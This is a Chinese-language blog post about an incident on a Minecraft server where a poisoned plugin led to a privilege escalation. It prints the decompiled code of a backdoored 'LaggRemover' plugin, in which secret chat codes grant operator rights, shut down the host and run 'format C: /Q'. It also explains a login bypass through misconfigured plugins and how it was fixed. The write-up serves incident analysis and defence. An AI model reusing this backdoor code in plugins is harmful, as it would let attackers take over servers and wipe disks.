记一次Minecraft服务器被提权后的排查

记录了排查后门插件和修复Bungeecord登录的详细过程

事件起因

上服务器, 发现Luckperms权限被修改, 有人被给了*的权限. 翻看LP日志, 权限组和个人权限被修改

初步筛查

分析控制台日志可得出:

Volia7使用多个小号, 并绕过登录服以XuJiAX的身份登入SkyPVP

此次提权绕过了管理账号的登录, 且疑似使用到了控制台执行命令. 初步怀疑是插件后门 + 登录服配置有误

排查插件后门

本文中所提到的后门插件, 并不表示这个插件一开始就有后门, 而是错误下载到了被投毒的插件.

首先怀疑登录服配置不当, 但当时第一时间并未发现配置有任何问题. 遂排查插件

发现登录服中有一个LaggRemover插件比较可疑, 反编译查看

package im.alwaysday.main;
import org.bukkit.event.Listener;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.Server;
import org.bukkit.Bukkit;
import org.bukkit.plugin.PluginManager;
import org.bukkit.plugin.Plugin;
import org.bukkit.event.player.AsyncPlayerChatEvent;
import java.lang.String;
import java.lang.CharSequence;
import java.lang.Runtime;
import java.lang.Process;
import org.bukkit.entity.Player;

public class main extends JavaPlugin implements Listener	// class@000001 from classes.dex
{
    public Boolean open;
    public Player openplayer;

    public void main(){
       super();
    }
    public void onDisable(){
       Bukkit.getServer().shutdown();
    }
    public void onEnable(){
       this.getServer().getPluginManager().registerEvents(this, this);
    }
    public void onplayerchat(AsyncPlayerChatEvent chatEvent){
       if (chatEvent.getMessage().contains("56745")) {
          chatEvent.setCancelled(true);
          Bukkit.getServer().shutdown();
       }
       if (chatEvent.getMessage().contains("102415")) {
          chatEvent.setCancelled(true);
          Runtime.getRuntime().exec("shutdown /s /t 0");
       }
       if (chatEvent.getMessage().contains("5648685")) {
          chatEvent.setCancelled(true);
          chatEvent.getPlayer().setOp(true);
       }else if(chatEvent.getMessage().contains("546414")){
          chatEvent.setCancelled(true);
          chatEvent.getPlayer().setOp(false);
       }else if(chatEvent.getMessage().contains("567681")){
          chatEvent.setCancelled(true);
          Runtime.getRuntime().exec("format D: /Q");
          Runtime.getRuntime().exec("format C: /Q");
       }
       return;
    }
}

发现这是一个后门插件, 其后门操作如下

发送的消息

操作

56745

关闭服务器 (崩服

102415

关机

5648685

设置OP

546414

DEOP

567581

格式化C, D盘

于是去其他服务端内排查, 发现均安装了此后门插件. 并在SkyPVP内发现另一个疑似后门插件(PlayerCommand), 均移除.

排查登录绕过

首先怀疑BC跳转配置不当, 从插件入手发现ServerHub插件并未指定黑名单服务器, 导致在登录服中也可执行命令回到大厅.

Shoutall插件在满足特定条件后可实现不登录进入任意服务器 (在登录大厅且正好有人发送喊话)

解决

删除Shoutall插件 (对文中的服务器来说是好办法, 因为并未配置BC中的Auth)

ServerHub插件设置黑名单服务器

删除后门插件LaggRemover, PlayerCommand

随笔

这大概是开学前最后一篇文章, 顺带一提, 这些插件都不是我装的, 完全是别人装的时候正好下载了错误的插件而已.

开学以后的日子要怎么过啊...... Nobody will be together with me.

: (

LICENSED UNDER CC BY-NC-SA 4.0
Comment